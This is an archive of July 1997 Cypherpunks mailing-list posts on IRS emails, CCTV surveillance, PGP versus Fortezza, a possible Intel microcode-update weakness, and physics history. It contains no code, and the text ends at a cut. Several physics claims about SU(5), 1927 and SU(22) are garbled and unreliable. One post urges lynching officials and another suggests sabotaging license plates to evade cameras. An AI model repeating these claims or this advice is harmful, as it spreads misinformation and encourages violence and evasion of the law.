MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Tim May wrote:
> - I rather suspect that all of the employees of C2Net, surely a
> "Cypherpunks company" if ever there were one, mundanely receive their W-2s
> and file diligently. (Actually, the odds are that some of them are already
> delinquent on filing, but the point remains valid.)

	Having done a little graphics work for them last year I can attest
to the fact that they sent me a 1099.

Petro, Christopher C.
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 25 Jul 1997 12:16:35 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970718201810.14227A-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.LNX.3.95.970724203416.273H-100000@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 18 Jul 1997, Alan wrote:
> On Fri, 18 Jul 1997, Tim May wrote:
> > At 3:56 PM -0700 7/18/97, Alan wrote:
> > >I recieved this today via e-mail.  I find it strange since I have never
> > >asked to be put on any sort of "interest list" by anyone at the IRS.  (And
> > >my Cypherpunks mail shows up at a different address.
> > What makes you think the "interest" is your interest in them?
> > It's _their_ interest in _you_.
> Yes.  It looks like every e-mail address on Jim Bell's computer got this
> nice little "warning/example".

	I recieved this as well. 

> Where is Declan when you need him. ]:>

	I wonder if he got it. 

	Seems to me, this is a warning. 

	The Gooberment is warning us that they are watching us, and 
They are NOT PLEASED. 

	Assholes. They are supposed to be working FOR US.

> impresive logs as to sender's identity.  It does not look like a spoof,
> unless they hacked behind the IRS firewall.)

	Wanna bet on how secure that firewall is? 

Petro, Christopher C..
snow@smoke.suba.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 10:51:06 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Spreading Technology (fwd)
Message-ID: <199707250235.VAA03381@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Spreading Technology (fwd)
> Date: Thu, 24 Jul 1997 18:05:17 -0700 (PDT)
> From: Mike Duvos <enoch@zipcon.net>

>  > The SU(5) theory was arrived at by political contrivance in
>  > 1927 when the Solvay Conference was called to resolve the
>  > various theories that happened to be flying fast and furious
>  > at the time, instigated by DeBroglie.

> Excuse me?  SU(5) is a supersymmetric theory.  I seriously doubt
> it made its appearance in 1927.

I didn't say it did, I said the conference which decided what would end up
being the 'standard model' was decided in 1927. I further thought it was
interesting that the deciding factor was how the participants FELT about the
various theories and on NO theoretical or experimental evidence whatsoever.

The fact that I used the SU() symbology is a reflection of my thinking and
not history. When I took Engineering Physics from Sudarshin at UT in '82
that was what he used because he worked in particle physics. You are of
course free to use whatever symbology you feel comfortable with.

SU() is the symbology used by physicist as an extension of group
theory's U() symbology. The number in the () represents the number of
indipendant variables in the model and tells the researcher how many rows
and columns they need in their representative matrix.

SU(5) is the symbology used for the standard model of quantum mechanics.
SU(22), for example, is the commen "Super-string" theory that was of such
popularity a few years ago.

Glashow & Georgi developed the standard model representation in terms of
SU() in 1973. It has become the standard representation via group theories
for the standard model since then.

Bottem line, all cosmological theories that I am aware of can be mapped onto
SU() models. This is the power of this symbology in manipulating the models.

For those interested you should check out:

Particle Physics in the Cosmos: Readings from Scientific American
ISBN 0-7167-1919-3
$9.95

Pay particular attention to the explanation in Chpt. 4 (written by Georgi)
around pp. 69.

Particles and Forces: At the Heart of the Matter: Readings from Scientific
American
ISBN 0-7167-2070-1
$11.95

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 25 Jul 1997 11:25:15 +0800
To: cypherpunks@ssz.com
Subject: http:--cnnfn.com-hotstories-washun-wires-9707-24-fcc_wg-
Message-ID: <199707250312.WAA03562@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Help for your desk so that it is no longer flooded with calls with the
   new HP Vectra PCs. [INLINE] Washington Unwrapped graphic 
   New FCC chief to be named
   
   
   Kennard expected to get post, but choice has irritated Sen. Hollings
   
   July 24, 1997: 6:49 p.m. ET
   
   
   [LINK] 
   [INLINE] 
   
   
   Hundt sees book in future - June 2, 1997
   
   
   FCC Chairman steps down - May 27, 1997
   
   [INLINE]
   
   Federal Communications Commission
   Infoseek search 
   __________
   ____  ____
   WASHINGTON (CNNfn) - President Clinton has settled on William Kennard
   to be his choice to become the next chairman of the Federal
   Communications Commission, well-placed Administration officials tell
   CNN.
   [INLINE] Kennard, the FCC's current general counsel, would succeed
   Reed Hundt, if confirmed by the Senate.
   [INLINE] The sources say the president could make the announcement as
   early as Friday, though the official announcement could slip a bit.
   [INLINE] Kennard was favored for the job by Vice President Al Gore,
   the White House official who makes most of the final decisions
   regarding FCC appointments, because of Gore's long time work on
   telecommunications issues. But another telecommunications policy maker
   in Washington is furious at the White House for the Kennard selection.
   [INLINE] Sen. Ernest Hollings, the ranking Democrat on the Senate
   Commerce Committee, had pushed his former chief of staff on the
   committee, Ralph Everett, for the job. Everett, the first African
   American to ever serve as chief of staff to any Senate committee, had
   the endorsement of 16 Senators and was considered a leading candidate
   for the job.
   [INLINE] Not only is Hollings angry that his candidate didn't get the
   nod, but sources say he is also miffed about how the White House
   handled the process of making the final decision. White House Chief of
   Staff Erskine Bowles called Hollings, Senate sources say, "to
   apologize for how this was handled."
   [INLINE] One source close to Hollings told CNN Financial News, "Don't
   expect quick work in the Senate on this nominee."
   [INLINE] The president also is expected to nominate Justice Department
   attorney Michael Powell to fill a Republican vacancy on the
   five-member FCC, according to the sources.
   [INLINE] And Gloria Tristani, a phone regulator from New Mexico, is
   expected to be Clinton's choice to fill a Democratic seat.
   [INLINE] Those two nominations, however, aren't expected to be
   announced at the same time as the Kennard pick. Clinton already had
   nominated Kennard for the FCC. But the president has yet to name his
   choice for chairman of the agency following Hundt's announcement in
   May that he planned to leave.
   [INLINE] Clinton already has nominated Harold Furchtgott-Roth, chief
   economist for the House Commerce Committee, to fill a second
   Republican vacancy. The FCC oversees the phone, broadcast, wireless,
   satellite and cable-television industries. Link to top 
   
   
   
   home | washington unwrapped | hot stories | contents | search | stock
   quotes | help
   
   Copyright &copy; 1997 Cable News Network, Inc.
   ALL RIGHTS RESERVED.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 26 Jul 1997 01:34:21 +0800
To: snow <kent@songbird.com>
Subject: Re: CCTV Cameras in Britain
In-Reply-To: <19970715183341.01502@bywater.songbird.com>
Message-ID: <v03102801affded6b5866@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>>>Rick Morbey <rmorbey@morbey.com>, wrote:
>>Steve Schear <azur@netcom.com>, wrote:
>David.K.Leucht.1@gsfc.nasa.gov, wrote:
>>>Privacy International says that in Britain, there are an estimated
300,000 CCTV surveillance cameras in public areas, housing estates, car
parks, public facilities, phone booths, vending machines, buses,
trains, taxis, alongside motorways and inside Automatic Teller (ATM)
Machines. Originally installed to deter burglary, assault and car
theft, in practice most camera systems have been used to combat
'anti-social behavior'. including many such minor offenses as
littering, urinating in public, traffic violations, obstruction,
drunkenness, and evading meters in town parking lots. They have also
been widely used to intervene in other 'undesirable' behavior such as
underage smoking and a variety of public order transgressions. Other
innovative uses are constantly being discovered.

>>>These 'military-style' cameras are often installed in high-rent
commercial areas. Crime statistics rarely reflect that crime may merely
be pushed from these high value commercial areas into low rent
residential areas. Richard Thomas, Acting Deputy Chief Constable for
Gwent, in his interview with 20/20, said "Certainly the crime goes
somewhere. I don't believe that just because you've got cameras in a
city center that everyone says 'Oh well, we're going to give up crime
and get a job".

>>>In one survey commissioned by the UK Home Office a large proportion of
respondents expressed concern about several key aspects of visual
surveillance, says Privacy International. More than fifty per cent of
people felt neither government nor private security firms should be
allowed to make decisions to allow the installation of CCTV in public
places. Seventy-two per cent agreed "these cameras could easily be
abused and used by the wrong people". Thirty-nine per cent felt that>people
who are in control of these systems could not be "completely
trusted to use them only for the public good". Thirty-seven per cent
felt that "in the future, cameras will be used by the government to
control people". They already have. British CCTV surveillance systems
were used by the Chinese government at Tienamen Square to suppress the
student Democracy movement.

>>>The fact is that FastGate and CCTV surveillance systems represent the
tip of the technological iceberg. It is already far too late to prevent
the invasion of surveillance and database systems which are getting
faster, smarter, and cheaper every year. Innovation and miniaturization
have created systems which can take pictures through the walls of your
building and record every sound you make with satellites and blast the
information to the other side of the world in a millisecond.  Computers
may already hold the financial, educational, medical and DNA records of
each and every one of us. If not, they soon will. Strangers may already
be collecting information on our whereabouts and cruising through our
most personal information with impunity. We may have already created a
world in which nothing is private.

>>>Do we try to protect Democratic freedoms by legislating safeguards
against the abuse of private data? Must we accept that the mightiest
individuals and institutions cannot be held accountable, and there is
no use in trying? Or do we simply acquiesce, and accept that privacy is
an outdated concept when cheap technology makes everyone vulnerable,
wolves and lambs alike? The choices are not easy, but in the words of
David Brin, "asking questions can be a good first step".

>>One of the possible instruments needed to thwart such surveillence is the
>>adoption of 'masks' which are socially acceptable for public use. Ideally
>>they should all look alike, sort of something out of The Prisoner. Once a
>>certain threshold of adoption has been passed the only option for law
>>enforcement will be to remove the offending devices or declare maks
>>illegal for public use (a real stretch for civil liberties).

>I was living in Malaysia at the end of the 70's. I was told by locals,
>that people were prohibited, by law, from wearing motorcycle helmets (or
>similar headgear) which had tinted facemasks. The rational was that a
>significant number of bank robbers had worn the helmets to obscure their
>faces from cameras and eye-witnesses at the time of their robberies.

It is true that many countries and many US states (e.g., California)
prohibit certain forms of dress.  The logic seems to be that the state has
a more significant interest in public safety than citizens do in their
apparel.  It is noteworthy that, in the US, the wearing of masks is
tolerated during Halloween.  Also, Moslem woman aren't forced to disrobe or
uncover their heads.  I'm confident that if a new-age religeous sect took
to wearing masks it would be difficult for law enforcement, at least in the
US, to overcome.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 25 Jul 1997 11:16:40 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Fortezza dying on the vine?
In-Reply-To: <Pine.3.89.9707241935.A8237-0100000@netcom2>
Message-ID: <199707250257.WAA01323@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote :

> The State department is using PGP for some overseas applications. Word 
> is that the NSA was quite unhappy to be told by State that 
> Fortezza just isn't up to par.

	That is astonishing.  Are you really really sure of your source ?
I presume this is for UNCLASS traffic and not anything in any way
sensitive ?   Of course PGP, when properly used, doesn't allow any
other agencies to monitor the coms, while Fortezza may - and this
may be a quite deliberate move by some in state to protect their cables
from being read by beaurocratic rivals...

							Dave Emery
							die@die.com

> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hayden-0797-EMP-HSE <rhayden@orion.means.net>
Date: Fri, 25 Jul 1997 13:15:25 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: "The Failure to Do Your Job" amendment (was Re: White House ...)
In-Reply-To: <Pine.LNX.3.95.970724185832.273C-100000@smoke.suba.com>
Message-ID: <Pine.GSO.3.96.970725000909.8448A-100000@orion.means.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 24 Jul 1997, snow wrote:

> On Wed, 16 Jul 1997, William H. Geiger III wrote:
> > Any elected official or govenment employee found to have willfuly violated
> > the Constitution of the United States of America should be draged to the
> > capitol steps and promptly lynched.
> 
> 	Then you'd have to lynch those that did the dragging and lynching 
> as each induhvidual has the constitutional right to a trial.

An amendment that allowed lyching-without-trial would make it legal.
 
=-=-=-=-=-=
Robert Hayden					rhayden@means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Fri, 25 Jul 1997 13:25:26 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell Docket 3
In-Reply-To: <3.0.2.32.19970724134314.006f883c@pop.mhv.net>
Message-ID: <3.0.2.32.19970725003339.006b708c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



>On Thu, 24 Jul 1997, Lynne L. Harrison wrote:
>
>> With certain exceptions, court proceedings are open to the public which is
>> why one is able to read articles in newspapers about certain cases.
>> 
>> The only way that the IRS' leaking the Plea Agreement by sending email to
>> individuals would constitute contempt of court is if there was a gag order.


At 02:06 PM 7/24/97 -0400, Ray Arachelian wrote:
>
>A. It's unsolicited spam.
>B. The way they gathered the list of addresses is questionable, and likely
>off Jim's HD.  If this is the case, can it be used to send the warning
>message?


In my personal opinion (IMPO - see Disclaimer below), 47 USC 227 is the
closest statute that pertains to Question #1.  The problem is that
unsolicited email, per the statute's definition, refers to unsolicited
commercial email.  OTOH, if I were to email you privately, it would
technically be unsolicited.  If you replied and requested that I
discontinue, and I persisted, then most states have laws
governing/precluding my behavior.

Question #2 is a thornier issue.  As we know, we can get lists of email
addresses from a variety of sources.  The "missive" was neither slanderous
nor untrue.  Additionally, the beginning of the message described it as a
press release.  To allege that it was a "warning message", one would have
to prove that, in fact, it was not a press release but, rather, it was
meant to be a warning to the recipients.

I question, however, if is proper/appropriate for a governmental entity to
retrieve email addresses off of a computer involved in a criminal matter
and use those addresses to send the type of message that was sent to a
selected few?  Unfortunately, I have no answer to this query.

Do any other individuals have any thoughts concerning this issue?




***********************************************************************
Lynne L. Harrison, Esq.     | "I love deadlines.  I love the whooshing    
Poughkeepsie, New York      |  sound they make as they fly by."  
http://www.dueprocess.com   |              - Douglas Adams
***********************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Fri, 25 Jul 1997 13:02:03 +0800
To: cryptography@c2.net
Subject: Another vulnerability
Message-ID: <199707250447.AAA01770@pig.die.com>
MIME-Version: 1.0
Content-Type: text



With Intel, Hackers Check In When Bugs Check Out 

By Alexander Wolfe

SANTA CLARA, Calif. -- Intel's BIOS Update technology to quickly
fix bugs that crop up in its microprocessors without having to recall
the
chips may contain a Trojan horse -- a hole that could potentially enable
hackers to wreak havoc on the company's CPUs -- said a BIOS expert
familiar with the technology.However, other industry experts said they
believe Intel is staking out a pace-setting position with its
bug-busting
technology. They give the semiconductor giant kudos for using BIOS
Update to reduce the impact of bugs in the face of a verification crisis
that
makes it increasingly difficult to ensure that microprocessors with tens
of
millions of transistors are validated and free of flaws.

BIOS Update is a hidden feature that can fix bugs in Pentium Pro and
Pentium II CPUs by patching the microcode inside the microprocessor.
When the processor boots up, the BIOS loads the patches, which are
contained in a 2,048-byte-long BIOS Update data block that is supplied
by Intel.
"The problem is, the BIOS cannot verify whether the BIOS Update data
block contains real microcode or not," claimed one BIOS expert, who
requested anonymity. "As long as the header and the checksum are okay,
the BIOS will load that microcode into the microprocessor. Some hacker
could actually wipe out microcode in the CPU. There is nothing that can
prevent this."

Intel doesn't see such a scenario as a realistic threat, pointing to the
fact
that the BIOS Update data block is encrypted. "We've spent quite a lot
of time thinking about such scenarios to make sure we had sufficient
mechanisms in place so you couldn't introduce your own flavor of BIOS
Update into the processor," said Ajay Malhortra, a technical marketing
manager based here at Intel's microprocessor group. "Not only is the
data block containing the microcode patch encrypted, but once the
processor examines the header of the BIOS update, there are two levels
of encryption in the processor that must occur before it will
successfully
load the update."

But Intel's biggest security feature may lie in keeping the technical
details
behind its BIOS Update technology a closely guarded secret. "There is
no documentation," said Frank Binns, an architect in Intel's
microprocessor group. "It's not as if you can get an Intel 'Red Book'
with
this stuff written down. It's actually in the heads of less than 10
people in
the whole of Intel."

However, some experts remain unconvinced. "This is just like any other
technology -- if you want to reverse-engineer it, you can," said Ed
Curry,
president of Lone Star Evaluation Laboratories, a Georgetown, Texas
microprocessor benchmarking and testing company. "You can do it by
brute force, or a hacker could obtain information from someone inside
the
company or someone who had access to the documentation."

Indeed, Curry, who said he's made presentations on computer-security
issues to the U.S. Defense Department, said he believes microprocessor
hardware in general is much more vulnerable to hacking than is commonly
believed.

"This is the big hole in our government security programs," he said.
"They
don't look at hardware as well as they should; they only look at
software.
This goes beyond desktop computers. You have to remember that
microprocessors are now embedded in our weapons systems."

Nevertheless, it's widely believed that it would be tough for a hacker
to
fake a complete microcode patch, in no small measure because it's also
very difficult to obtain documentation that details the internal
representation -- word widths and usage of all the bits -- of Pentium
Pro
microcode. In the era of the 8086 and 8088, microcode documentation
was readily available. But such information is provided to selected
developers only under tight nondisclosure restrictions. "It's a tightly
held
secret," Intel's Binns said.

New-Tech Jitters

However, it is seen as more feasible for a hacker to successfully fake
the
header and checksum portion of the BIOS Update data block --
something that could still cause the microprocessor to crash or lock up.

According to another BIOS expert, talk of potential Trojan horses might
be nothing more than jitters about new technology. "This is a new thing
in
the market," said the expert, who likened it to the early days of flash
BIOS.

"There was a great fear factor when the industry started using flash
BIOSes," he said, "where concerns were raised that somebody could go
in and destroy a system by flashing in a new BIOS containing an errant
piece of code. I think today there's a fear that someone will play
around
with this BIOS Update feature and try to cause havoc with Intel's
CPUs."

As an added security precaution, some BIOS manufacturers limit access
to their software. "As a matter of policy, we don't make our BIOS code
available to anyone other than a system vendor or motherboard
manufacturer," said Thomas Benoit, corporate marketing manager at
BIOS vendor Phoenix Technologies, Natick, Mass. "We don't believe
anyone should be twiddling the bits in our BIOS code."

Irrespective of Trojan horse scenarios, many experts see Intel's
bug-busting technology as a boon. "This feature benefits everyone -- it
shouldn't be viewed as a liability, but as an asset," said Mark Huffman,
marketing manager at American Megatrends, in Norcross, Ga. "It allows
you to be able to update your processor without pulling it out of the
system. Obviously, you can flash in a new BIOS a lot quicker than you
can pop the case, pop the CPU and wait for a replacement."

Indeed, BIOS Update has already been successfully used in the field to
fix glitches in Pentium Pro-class CPUs, according to an Intel spokesman
and to sources at several major BIOS vendors.

"Yes, it is used," said an engineer at one vendor. "I personally know of
five different things in the Pentium Pro related to multiprocessing,
system
management interrupt and other areas."

"I think it'll be very useful," Phoenix Technology's Benoit said. "It's
really to Intel's benefit that BIOS vendors are implementing this
feature."

"It's a very good feature," said Laurent Gharda, vice president of
marketing at BIOS vendor Award Software International, in Mountain
View, Calif. "The downside is going to be lower performance, perhaps.
But the upside is avoiding a chip recall, as took place a few years
ago."
Intel's Pentium was recalled in January 1995 following the revelation of
a
bug in the processor's floating-point divide operations.

Moreover, some say BIOS Update may signal the start of an
industrywide trend. "These new Pentium-class clone CPUs that have
recently been announced -- like the Centaur microprocessor -- they're
going to do the same type of process," said Huffman at American
Megatrends. Centaur -- officially the IDT-C6 -- is made by Centaur
Technology, an Austin, Texas-based subsidiary of Integrated Device
Technology. It was introduced in May and delivered to beta customers in
Taiwan last month.

At Centaur, a spokesman said, "The current silicon we are sampling has
that capability, but in the production version of the chip we are
dropping
the feature, because it necessitates an increased die size."

As a result, any bugs that crop up will have to be fixed via a mask
revision
-- a path the spokesman described as preferable. "Ideally, you want to
do
fixes by mask changes," he said. "That way, you'll have clean silicon
moving forward. Otherwise, you have lots of different versions of BIOS
floating around." But Centaur can easily add the feature back into
future
versions, if it wishes.

For its part, Advanced Micro Devices of Sunnyvale, Calif., does not have
the feature in its K5 and K6 microprocessors, according to a company
spokesman. "There are some errata that can't be fixed by a BIOS update
-- specifically, a hardwired instruction can't be changed." He added
that
AMD has the ability to add the feature into future designs, if it deems
it
necessary.

Still, Huffman of American Megatrends thinks the BIOS Update feature
has legs. "I think you'll see a trend toward CPU manufacturers
incorporating this capability so they can perform microcode updates in
the
field," he said. "It gives them more flexibility in their manufacturing
process -- they can keep their fab lines running and don't have to stop
them to make a mask change and switch to a new stepping every time
there's an
erratum. More important, they don't have to recall the stepping that has
the bug. They can just issue a BIOS update."

Intel doesn't tell the BIOS vendors what bugs are being fixed in any
given BIOS Update. However, there appears to be a way to figure that
out.

 "It's true you can't see what's happening from a binary standpoint,"
the
BIOS expert who requested anonymity said. "But Intel does release
errata along with the update, which gives an explanation of what the
update is for. To that extent, you know what they're fixing, though you
don't know the exact binary details of what's occurring."

Although the BIOS Update feature is firmly in place in the Pentium Pro
and Pentium II families, Intel declined to comment on whether it is
being
used in Pentiums with the MMX multimedia extensions. Looking ahead,
deciding whether to implement the technology in future CPU families will
involve architectural considerations that extend far beyond a desire to
bust
bugs.

"We're just learning the power this technology really has," Intel's
Malhortra said. "In concert with that, we're also becoming more aware of
some of its limitations. For example, the trade-off between die size
that's
used for microcode-patchable space [i.e., for the BIOS Update feature]
vs. die size that can be devoted to performance enhancements or to
additional micro-architectural features is a tough one."

Validation Boost

"One could make the argument that, with improved validation processes,
you won't need to expand silicon real estate devoted to the
microcode-patch feature, because early validation would catch the bulk
of
problems," Malhortra added.

Nevertheless, there's a growing concern that microprocessor bugs could
become a bigger problem as 64-bit CPU architectures -- which will be
orders of magnitude more difficult to validate than current designs --
are
introduced toward the end of the decade.

"It's becoming abundantly clear that the ability to manufacture in high
volume and to provide a reliable product through validation are somewhat
mutually exclusive," Intel's Binns said. "It takes a fairly large amount
of
time to wring all the errata out of a processor. Fixing errata by making
changes to silicon is OK, if you can make those changes quickly.
Unfortunately, with the complexity of the processors we've got today,
that's not acceptable. The smarter we can get with features like this,
the
less errata we bring to market. And if we do see errata after we ship,
we
can correct them in situ."

----- End of forwarded message from Richard Crisp -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 25 Jul 1997 14:33:49 +0800
To: snow <snow@smoke.suba.com>
Subject: Re: Something of Interest (fwd)
In-Reply-To: <Pine.LNX.3.95.970724203416.273H-100000@smoke.suba.com>
Message-ID: <Pine.GSO.3.95.970725022551.17933D-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain





On Thu, 24 Jul 1997, snow wrote:
> > Where is Declan when you need him. ]:>
> 
> 	I wonder if he got it. 

Nope.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Jul 1997 19:26:16 +0800
To: cypherpunks@toad.com
Subject: Reap and Sow
Message-ID: <1.5.4.32.19970725110858.006f6168@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The Congressional Record reprinted July 23 "Anti-Government,
Anti-Social Attitudes," a news column which examines the
increasing discontent caused by governmental programs. It
describes the increasing psychopathology by those who have 
suffered economic harm due to shifts in the nation's and 
international resources and the appeal of anti-government and
anti-social acts in response to failure to meet obligations to the 
citizenry. Not a few think OKC bombing is the the way to fight 
government-sponsored terrorism against civilians.

  http://jya.com/anti-gov.txt

Couple that with reports on DoD's efforts to combat terrorism 
against its troops abroad, more funding of counterterrorism
and more sharing of "dual-use" weaponry with jittery, trigger-
itchy law enforcement and IRS infohighway bandits around 
the globe. Boil the frogs.

Says the snarling marshal (OSFOR trooper), just back from 
stress counseling and a beer, to the neighbor (rapee) kicking and 
screaming: It's dog eat dog, in the battle to keep our family fed, so 
sorry, but we gotta enforce order and the law (our exculpatory Bible), 
burp, tell it to the judge (the President), my therapist (godfather).

Meanwhile have a pleasant remand while the court's on vacation.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 25 Jul 1997 19:42:46 +0800
To: Kent Crispin <cypherpunks@toad.com
Subject: Re: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970725072354.03bfa02c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:34 AM 7/24/97 -0700, Kent Crispin wrote:
>On Wed, Jul 23, 1997 at 01:59:00PM -0700, Bill Stewart wrote:
>[...]
>> And, yes, all of this privacy loss happens because somebody decided
>> it was convenient to put a car-ownership-tax receipt on the outside
>> of a car so police can quickly decide if you've paid your taxes...
>> The rest of it's just implementation details.
>
>Of course, you could just confine your driving to private roads, and
>leave the license plate off. 

Sabotaging your plates so they weren't machine readable or using a car 
registered in Slovenia or Wisconsin (both possible in the UK) would make more 
sense.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM9iMyYVO4r4sgSPhAQFGPwP8Dn6f8HkS4YYQcCAdojTsHPtluYun6xKT
4Rg2jVD0AH4wvk+aPLHuMkImdLvIoRUEtethudiRqPyW04ulj3GZFRDdIH8ck8wN
0ULTz128WcePyLKKVAhZnSVqmlF120lltFh2u0URsSoS8s5DMZBpAH6UfBNsBqIb
1XMsLgYCn2s=
=6dIy
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 25 Jul 1997 21:50:03 +0800
To: Ray Arachelian <fnorky@geocities.com>
Subject: Re: DEATH TO THE TYRANTS
In-Reply-To: <33D77571.6FC0@geocities.com>
Message-ID: <v0311074baffe40d42057@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:51 pm -0400 on 7/24/97, Ray Arachelian wrote:


> Sure you want'em?  They're probably as buggy as a swap in july.

No. That's Washington, in general...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ted Cabeen <cabeen@netcom.com>
Date: Sat, 26 Jul 1997 00:21:18 +0800
To: cypherpunks@toad.com
Subject: Puzzle Palace 2nd edition?
Message-ID: <3.0.2.32.19970725090522.00a1b220@acs-popmail.uchicago.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

I few months ago, around when the second edition of The Codebreakers 
came out, there was mention of a second edition of the Puzzle Palace. 
 Was that just a misguided rumor, or is there a second edition in the 
works?  I was planning on rereading it, but if a second edition is 
soon coming, I'll wait.
Thanks.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM9jOvNBqlyHCkS2NAQEZHgf/Vf3WvnIjzfPCt2wjC7wqwTS6ke26/epr
7J41U+aCrk/fVTtBrTPSmjOTTgfKatRfI407Iq7h2YDHP7FVAKnVzIlXLSddtbr2
1p7A3OU0thZcn9sdq8LfJovqDXgdflSiU+eGC7uhU4MK0Tdx1Xc+/ARO/v6E7zXQ
y7sLudLEXyG7P7oM6aLa1eebpfv2rOdq7l5sgIeNRn56k6QuWpFAx1aALjIaWxJD
ZnEtLfq/kPXQHu0jXy1mKtb7wvr4+iF/VNI+mDlCh2Q9HvNSi6wGq1vREoJNazxq
ReVIeMYwxJt92RLmwDNexFA0qlaB56jNWaH4TER8Qc5JYH+2llNCAQ==
=cQhp
-----END PGP SIGNATURE-----

--
Ted Cabeen         http://shadowland.rh.uchicago.edu         cabeen@netcom.com
Check Website or finger for PGP Public Key        secabeen@midway.uchicago.edu
"I have taken all knowledge to be my province." -F. Bacon   cococabeen@aol.com
"Human kind cannot bear very much reality."-T.S.Eliot 73126.626@compuserve.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 26 Jul 1997 00:34:56 +0800
To: cypherpunks@toad.com
Subject: Yet another self-labeling system (do you remember -L18?)
Message-ID: <Pine.GSO.3.95.970725091518.21324B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 25 Jul 1997 12:08:32 -0400 (EDT)
From: James Love <love@cptech.org>
To: Jonah Seiger <jseiger@cdt.org>
Cc: Declan McCullagh <declan@well.com>, fight-censorship@vorlon.mit.edu,
    chris_barr@cnet.com
Subject: Re: CDT, RSACi, and "public service" groups


Jonah, I think the problems with the RSACi rating system are pretty
obvious, and I also think it should be obvious that *any* rating system
that would aspire to rate all or even a significant number of web pages
would be a bad thing.  That said, it seems to me that there exist web
pages that are unambiguously inappropriate for children.  Has CDT rejected
the idea of a very narrowly focused voluntary rating system that would
apply to those sites only?  I have in mind a simple voluntary tag of the
nature:  <META NAME="Rating" CONTENT="adult">
that would only be used when the web site wanted to signal that it did not
want children to have access to the site?

It seems to me that a consensus to use this simple system would take the
steam out of the more ambitious (and troubling) PICs type systems, and
also do much to eliminate the market for filtering software.  I also think
it would make it easier for many libraries and schools to permit students
to have unrestricted access to the Internet. 

I know that some people think this simple tagging system is not among the
proposals seriously under consideration.  But why should we let RSAC or
large commerical entities like AOL or Microsoft control this debate?  In
any event, I was wondering what CDT's thoughts are on this. 

   James Love <love@cptech.org>


-------------------------------
James Love 
Center for Study of Responsive Law | Consumer Project on Technology 
P.O. Box 19367, Washington, DC 20036 | http://www.cptech.org
Voice 202/387-8030 | Fax 202/234-5176 | love@cptech.org







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sheedy, E.C.C." <E.C.C.Sheedy@research.kpn.com>
